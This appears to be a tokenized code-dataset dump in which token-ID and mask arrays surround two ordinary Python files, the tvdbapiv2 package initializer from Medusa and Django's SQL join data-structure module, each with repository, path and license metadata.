267, 283, 4460, 60, 78, 7, 267, 283, 2210, 60, 78, 7, 267, 283, 4988, 78, 7, 272, 2318, 199, 9, 421, 199, 396, 14, 1529, 63, 396, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
pymedusa/Medusa
ext/tvdbapiv2/__init__.py
3
2551
# coding=utf-8 from __future__ import absolute_import, unicode_literals # import models into sdk package from .models.token import Token from .models.auth import Auth from .models.not_found import NotFound from .models.not_authorized import NotAuthorized from .models.conflict import Conflict from .models.filter_keys import FilterKeys from .models.series import Series from .models.episode_data_query_params import EpisodeDataQueryParams from .models.episode_data import EpisodeData from .models.episode import Episode from .models.basic_episode import BasicEpisode from .models.series_actors_data import SeriesActorsData from .models.series_actors import SeriesActors from .models.series_episodes import SeriesEpisodes from .models.series_episodes_summary import SeriesEpisodesSummary from .models.series_episodes_query import SeriesEpisodesQuery from .models.series_episodes_query_params import SeriesEpisodesQueryParams from .models.series_image_query_result import SeriesImageQueryResult from .models.series_image_query_results import SeriesImageQueryResults from .models.series_images_query_param import SeriesImagesQueryParam from .models.series_images_query_params import SeriesImagesQueryParams from .models.series_images_counts import SeriesImagesCounts from .models.series_images_count import SeriesImagesCount from .models.update_data import UpdateData from .models.update import Update from .models.language_data import LanguageData from .models.language import Language from .models.update_data_query_params import UpdateDataQueryParams from .models.links import Links from .models.user_data import UserData from .models.user import User from .models.user_favorites_data import UserFavoritesData from .models.user_favorites import UserFavorites from .models.user_ratings_data import UserRatingsData from .models.user_ratings_data_no_links import UserRatingsDataNoLinks from .models.user_ratings_data_no_links_empty_array import UserRatingsDataNoLinksEmptyArray from .models.user_ratings import UserRatings from .models.user_ratings_query_params import UserRatingsQueryParams # import apis into sdk package from .apis.users_api import UsersApi from .apis.updates_api import UpdatesApi from .apis.search_api import SearchApi from .apis.series_api import SeriesApi from .apis.episodes_api import EpisodesApi from .apis.authentication_api import AuthenticationApi from .apis.languages_api import LanguagesApi # import ApiClient from .api_client import ApiClient from .configuration import Configuration configuration = Configuration()
gpl-3.0
[ 3, 2803, 29, 1624, 13, 24, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 12, 2649, 63, 5955, 199, 199, 3, 492, 1709, 1901, 13628, 2559, 199, 504, 1275, 992, 14, 1418, 492, 8767, 199, 504, 1275, 992, 14, 1178, 492, 3590, 199, 504, 1275, 992, 14, 1397, 63, 4214, 492, 21909, 199, 504, 1275, 992, 14, 1397, 63, 11497, 492, 2832, 29284, 199, 504, 1275, 992, 14, 15207, 492, 32539, 6960, 199, 504, 1275, 992, 14, 1541, 63, 1612, 492, 9388, 6340, 199, 504, 1275, 992, 14, 5602, 492, 12403, 199, 504, 1275, 992, 14, 9544, 63, 576, 63, 1131, 63, 1162, 492, 27255, 6045, 1451, 3227, 6007, 199, 504, 1275, 992, 14, 9544, 63, 576, 492, 27255, 6045, 1451, 199, 504, 1275, 992, 14, 9544, 492, 27255, 6045, 199, 504, 1275, 992, 14, 4316, 63, 9544, 492, 10082, 22887, 199, 504, 1275, 992, 14, 5602, 63, 32546, 63, 576, 492, 12403, 12258, 83, 1451, 199, 504, 1275, 992, 14, 5602, 63, 32546, 492, 12403, 12258, 83, 199, 504, 1275, 992, 14, 5602, 63, 22027, 492, 12403, 22887, 83, 199, 504, 1275, 992, 14, 5602, 63, 22027, 63, 4705, 492, 12403, 22887, 83, 10407, 199, 504, 1275, 992, 14, 5602, 63, 22027, 63, 1131, 492, 12403, 22887, 83, 3227, 199, 504, 1275, 992, 14, 5602, 63, 22027, 63, 1131, 63, 1162, 492, 12403, 22887, 83, 3227, 6007, 199, 504, 1275, 992, 14, 5602, 63, 1569, 63, 1131, 63, 1099, 492, 12403, 3491, 3227, 2889, 199, 504, 1275, 992, 14, 5602, 63, 1569, 63, 1131, 63, 2604, 492, 12403, 3491, 3227, 6579, 199, 504, 1275, 992, 14, 5602, 63, 4782, 63, 1131, 63, 635, 492, 12403, 18882, 3227, 4098, 199, 504, 1275, 992, 14, 5602, 63, 4782, 63, 1131, 63, 1162, 492, 12403, 18882, 3227, 6007, 199, 504, 1275, 992, 14, 5602, 63, 4782, 63, 6851, 492, 12403, 18882, 23209, 199, 504, 1275, 992, 14, 5602, 63, 4782, 63, 835, 492, 12403, 18882, 2353, 199, 504, 1275, 992, 14, 873, 63, 576, 492, 6162, 1451, 199, 504, 1275, 992, 14, 873, 492, 6162, 199, 504, 1275, 992, 14, 3671, 63, 576, 492, 8466, 1451, 199, 504, 1275, 992, 14, 3671, 492, 8466, 199, 504, 1275, 992, 14, 873, 63, 576, 63, 1131, 63, 1162, 492, 6162, 1451, 3227, 6007, 199, 504, 1275, 992, 14, 4614, 492, 10967, 83, 199, 504, 1275, 992, 14, 751, 63, 576, 492, 2876, 1451, 199, 504, 1275, 992, 14, 751, 492, 2876, 199, 504, 1275, 992, 14, 751, 63, 17520, 4033, 63, 576, 492, 2876, 24335, 4033, 1451, 199, 504, 1275, 992, 14, 751, 63, 17520, 4033, 492, 2876, 24335, 4033, 199, 504, 1275, 992, 14, 751, 63, 17565, 780, 63, 576, 492, 2876, 50, 292, 780, 1451, 199, 504, 1275, 992, 14, 751, 63, 17565, 780, 63, 576, 63, 889, 63, 4614, 492, 2876, 50, 292, 780, 1451, 1944, 16974, 199, 504, 1275, 992, 14, 751, 63, 17565, 780, 63, 576, 63, 889, 63, 4614, 63, 1667, 63, 1144, 492, 2876, 50, 292, 780, 1451, 1944, 16974, 4699, 3836, 199, 504, 1275, 992, 14, 751, 63, 17565, 780, 492, 2876, 50, 292, 780, 199, 504, 1275, 992, 14, 751, 63, 17565, 780, 63, 1131, 63, 1162, 492, 2876, 50, 292, 780, 3227, 6007, 199, 199, 3, 492, 2771, 374, 1901, 13628, 2559, 199, 504, 1275, 12662, 14, 3707, 63, 1246, 492, 20123, 7394, 199, 504, 1275, 12662, 14, 7618, 63, 1246, 492, 24663, 7394, 199, 504, 1275, 12662, 14, 1733, 63, 1246, 492, 8730, 7394, 199, 504, 1275, 12662, 14, 5602, 63, 1246, 492, 12403, 7394, 199, 504, 1275, 12662, 14, 22027, 63, 1246, 492, 27255, 6045, 83, 7394, 199, 504, 1275, 12662, 14, 11725, 63, 1246, 492, 15995, 7394, 199, 504, 1275, 12662, 14, 13209, 63, 1246, 492, 8466, 83, 7394, 199, 199, 3, 492, 13986, 3041, 199, 504, 1275, 1246, 63, 1258, 492, 13986, 3041, 199, 199, 504, 1275, 4758, 492, 11595, 199, 199, 4758, 275, 11595, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2803, 29, 1624, 13, 24, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 12, 2649, 63, 5955, 199, 199, 3, 492, 1709, 1901, 13628, 2559, 199, 504, 1275, 992, 14, 1418, 492, 8767, 199, 504, 1275, 992, 14, 1178, 492, 3590, 199, 504, 1275, 992, 14, 1397, 63, 4214, 492, 21909, 199, 504, 1275, 992, 14, 1397, 63, 11497, 492, 2832, 29284, 199, 504, 1275, 992, 14, 15207, 492, 32539, 6960, 199, 504, 1275, 992, 14, 1541, 63, 1612, 492, 9388, 6340, 199, 504, 1275, 992, 14, 5602, 492, 12403, 199, 504, 1275, 992, 14, 9544, 63, 576, 63, 1131, 63, 1162, 492, 27255, 6045, 1451, 3227, 6007, 199, 504, 1275, 992, 14, 9544, 63, 576, 492, 27255, 6045, 1451, 199, 504, 1275, 992, 14, 9544, 492, 27255, 6045, 199, 504, 1275, 992, 14, 4316, 63, 9544, 492, 10082, 22887, 199, 504, 1275, 992, 14, 5602, 63, 32546, 63, 576, 492, 12403, 12258, 83, 1451, 199, 504, 1275, 992, 14, 5602, 63, 32546, 492, 12403, 12258, 83, 199, 504, 1275, 992, 14, 5602, 63, 22027, 492, 12403, 22887, 83, 199, 504, 1275, 992, 14, 5602, 63, 22027, 63, 4705, 492, 12403, 22887, 83, 10407, 199, 504, 1275, 992, 14, 5602, 63, 22027, 63, 1131, 492, 12403, 22887, 83, 3227, 199, 504, 1275, 992, 14, 5602, 63, 22027, 63, 1131, 63, 1162, 492, 12403, 22887, 83, 3227, 6007, 199, 504, 1275, 992, 14, 5602, 63, 1569, 63, 1131, 63, 1099, 492, 12403, 3491, 3227, 2889, 199, 504, 1275, 992, 14, 5602, 63, 1569, 63, 1131, 63, 2604, 492, 12403, 3491, 3227, 6579, 199, 504, 1275, 992, 14, 5602, 63, 4782, 63, 1131, 63, 635, 492, 12403, 18882, 3227, 4098, 199, 504, 1275, 992, 14, 5602, 63, 4782, 63, 1131, 63, 1162, 492, 12403, 18882, 3227, 6007, 199, 504, 1275, 992, 14, 5602, 63, 4782, 63, 6851, 492, 12403, 18882, 23209, 199, 504, 1275, 992, 14, 5602, 63, 4782, 63, 835, 492, 12403, 18882, 2353, 199, 504, 1275, 992, 14, 873, 63, 576, 492, 6162, 1451, 199, 504, 1275, 992, 14, 873, 492, 6162, 199, 504, 1275, 992, 14, 3671, 63, 576, 492, 8466, 1451, 199, 504, 1275, 992, 14, 3671, 492, 8466, 199, 504, 1275, 992, 14, 873, 63, 576, 63, 1131, 63, 1162, 492, 6162, 1451, 3227, 6007, 199, 504, 1275, 992, 14, 4614, 492, 10967, 83, 199, 504, 1275, 992, 14, 751, 63, 576, 492, 2876, 1451, 199, 504, 1275, 992, 14, 751, 492, 2876, 199, 504, 1275, 992, 14, 751, 63, 17520, 4033, 63, 576, 492, 2876, 24335, 4033, 1451, 199, 504, 1275, 992, 14, 751, 63, 17520, 4033, 492, 2876, 24335, 4033, 199, 504, 1275, 992, 14, 751, 63, 17565, 780, 63, 576, 492, 2876, 50, 292, 780, 1451, 199, 504, 1275, 992, 14, 751, 63, 17565, 780, 63, 576, 63, 889, 63, 4614, 492, 2876, 50, 292, 780, 1451, 1944, 16974, 199, 504, 1275, 992, 14, 751, 63, 17565, 780, 63, 576, 63, 889, 63, 4614, 63, 1667, 63, 1144, 492, 2876, 50, 292, 780, 1451, 1944, 16974, 4699, 3836, 199, 504, 1275, 992, 14, 751, 63, 17565, 780, 492, 2876, 50, 292, 780, 199, 504, 1275, 992, 14, 751, 63, 17565, 780, 63, 1131, 63, 1162, 492, 2876, 50, 292, 780, 3227, 6007, 199, 199, 3, 492, 2771, 374, 1901, 13628, 2559, 199, 504, 1275, 12662, 14, 3707, 63, 1246, 492, 20123, 7394, 199, 504, 1275, 12662, 14, 7618, 63, 1246, 492, 24663, 7394, 199, 504, 1275, 12662, 14, 1733, 63, 1246, 492, 8730, 7394, 199, 504, 1275, 12662, 14, 5602, 63, 1246, 492, 12403, 7394, 199, 504, 1275, 12662, 14, 22027, 63, 1246, 492, 27255, 6045, 83, 7394, 199, 504, 1275, 12662, 14, 11725, 63, 1246, 492, 15995, 7394, 199, 504, 1275, 12662, 14, 13209, 63, 1246, 492, 8466, 83, 7394, 199, 199, 3, 492, 13986, 3041, 199, 504, 1275, 1246, 63, 1258, 492, 13986, 3041, 199, 199, 504, 1275, 4758, 492, 11595, 199, 199, 4758, 275, 11595, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
jjmachan/activityPointsApp
activitypoints/lib/python3.5/site-packages/django/db/models/sql/datastructures.py
62
5684
""" Useful auxiliary data structures for query construction. Not useful outside the SQL domain. """ # for backwards-compatibility in Django 1.11 from django.core.exceptions import EmptyResultSet # NOQA: F401 from django.db.models.sql.constants import INNER, LOUTER class MultiJoin(Exception): """ Used by join construction code to indicate the point at which a multi-valued join was attempted (if the caller wants to treat that exceptionally). """ def __init__(self, names_pos, path_with_names): self.level = names_pos # The path travelled, this includes the path to the multijoin. self.names_with_path = path_with_names class Empty(object): pass class Join(object): """ Used by sql.Query and sql.SQLCompiler to generate JOIN clauses into the FROM entry. For example, the SQL generated could be LEFT OUTER JOIN "sometable" T1 ON ("othertable"."sometable_id" = "sometable"."id") This class is primarily used in Query.alias_map. All entries in alias_map must be Join compatible by providing the following attributes and methods: - table_name (string) - table_alias (possible alias for the table, can be None) - join_type (can be None for those entries that aren't joined from anything) - parent_alias (which table is this join's parent, can be None similarly to join_type) - as_sql() - relabeled_clone() """ def __init__(self, table_name, parent_alias, table_alias, join_type, join_field, nullable): # Join table self.table_name = table_name self.parent_alias = parent_alias # Note: table_alias is not necessarily known at instantiation time. self.table_alias = table_alias # LOUTER or INNER self.join_type = join_type # A list of 2-tuples to use in the ON clause of the JOIN. # Each 2-tuple will create one join condition in the ON clause. self.join_cols = join_field.get_joining_columns() # Along which field (or ForeignObjectRel in the reverse join case) self.join_field = join_field # Is this join nullabled? self.nullable = nullable def as_sql(self, compiler, connection): """ Generates the full LEFT OUTER JOIN sometable ON sometable.somecol = othertable.othercol, params clause for this join. """ join_conditions = [] params = [] qn = compiler.quote_name_unless_alias qn2 = connection.ops.quote_name # Add a join condition for each pair of joining columns. for index, (lhs_col, rhs_col) in enumerate(self.join_cols): join_conditions.append('%s.%s = %s.%s' % ( qn(self.parent_alias), qn2(lhs_col), qn(self.table_alias), qn2(rhs_col), )) # Add a single condition inside parentheses for whatever # get_extra_restriction() returns. extra_cond = self.join_field.get_extra_restriction( compiler.query.where_class, self.table_alias, self.parent_alias) if extra_cond: extra_sql, extra_params = compiler.compile(extra_cond) join_conditions.append('(%s)' % extra_sql) params.extend(extra_params) if not join_conditions: # This might be a rel on the other end of an actual declared field. declared_field = getattr(self.join_field, 'field', self.join_field) raise ValueError( "Join generated an empty ON clause. %s did not yield either " "joining columns or extra restrictions." % declared_field.__class__ ) on_clause_sql = ' AND '.join(join_conditions) alias_str = '' if self.table_alias == self.table_name else (' %s' % self.table_alias) sql = '%s %s%s ON (%s)' % (self.join_type, qn(self.table_name), alias_str, on_clause_sql) return sql, params def relabeled_clone(self, change_map): new_parent_alias = change_map.get(self.parent_alias, self.parent_alias) new_table_alias = change_map.get(self.table_alias, self.table_alias) return self.__class__( self.table_name, new_parent_alias, new_table_alias, self.join_type, self.join_field, self.nullable) def __eq__(self, other): if isinstance(other, self.__class__): return ( self.table_name == other.table_name and self.parent_alias == other.parent_alias and self.join_field == other.join_field ) return False def demote(self): new = self.relabeled_clone({}) new.join_type = INNER return new def promote(self): new = self.relabeled_clone({}) new.join_type = LOUTER return new class BaseTable(object): """ The BaseTable class is used for base table references in FROM clause. For example, the SQL "foo" in SELECT * FROM "foo" WHERE somecond could be generated by this class. """ join_type = None parent_alias = None def __init__(self, table_name, alias): self.table_name = table_name self.table_alias = alias def as_sql(self, compiler, connection): alias_str = '' if self.table_alias == self.table_name else (' %s' % self.table_alias) base_sql = compiler.quote_name_unless_alias(self.table_name) return base_sql + alias_str, [] def relabeled_clone(self, change_map): return self.__class__(self.table_name, change_map.get(self.table_alias, self.table_alias))
mit
[ 624, 199, 6119, 1893, 31407, 666, 13955, 367, 1827, 14538, 14, 2832, 2997, 9682, 199, 1589, 5385, 2881, 14, 199, 624, 199, 3, 367, 8552, 13, 15390, 315, 5634, 413, 14, 845, 199, 504, 1639, 14, 1018, 14, 3924, 492, 9630, 21722, 221, 327, 20432, 26, 481, 8854, 199, 504, 1639, 14, 697, 14, 992, 14, 3009, 14, 5559, 492, 32272, 12, 491, 1877, 540, 421, 199, 533, 6879, 13005, 8, 1726, 304, 272, 408, 272, 8051, 701, 4263, 14538, 1233, 370, 6623, 314, 2376, 737, 1314, 282, 272, 3510, 13, 16611, 4263, 1990, 22040, 334, 692, 314, 8025, 15061, 370, 14312, 626, 272, 1919, 1183, 680, 272, 408, 272, 347, 636, 826, 721, 277, 12, 1561, 63, 1712, 12, 931, 63, 1045, 63, 1247, 304, 267, 291, 14, 1896, 275, 1561, 63, 1712, 267, 327, 710, 931, 1468, 1090, 1146, 12, 642, 6952, 314, 931, 370, 314, 3510, 904, 14, 267, 291, 14, 1247, 63, 1045, 63, 515, 275, 931, 63, 1045, 63, 1247, 421, 199, 533, 9630, 8, 785, 304, 272, 986, 421, 199, 533, 25733, 8, 785, 304, 272, 408, 272, 8051, 701, 3875, 14, 3227, 436, 3875, 14, 4657, 9131, 370, 3550, 10593, 25089, 1901, 314, 272, 4442, 2397, 14, 2104, 2893, 12, 314, 5385, 4046, 4293, 506, 267, 6578, 31682, 10593, 298, 3972, 1224, 2, 377, 17, 5258, 1689, 1848, 1224, 21176, 3972, 1224, 63, 344, 2, 275, 298, 3972, 1224, 21176, 344, 531, 339, 961, 1021, 365, 1979, 30468, 1202, 315, 8133, 14, 3620, 63, 1130, 14, 2900, 4811, 315, 5162, 63, 1130, 272, 1471, 506, 25733, 9025, 701, 13070, 314, 2569, 3004, 436, 3102, 26, 267, 446, 1817, 63, 354, 334, 875, 9, 267, 446, 1817, 63, 3620, 334, 13893, 5162, 367, 314, 1817, 12, 883, 506, 488, 9, 267, 446, 4263, 63, 466, 334, 2425, 506, 488, 367, 5204, 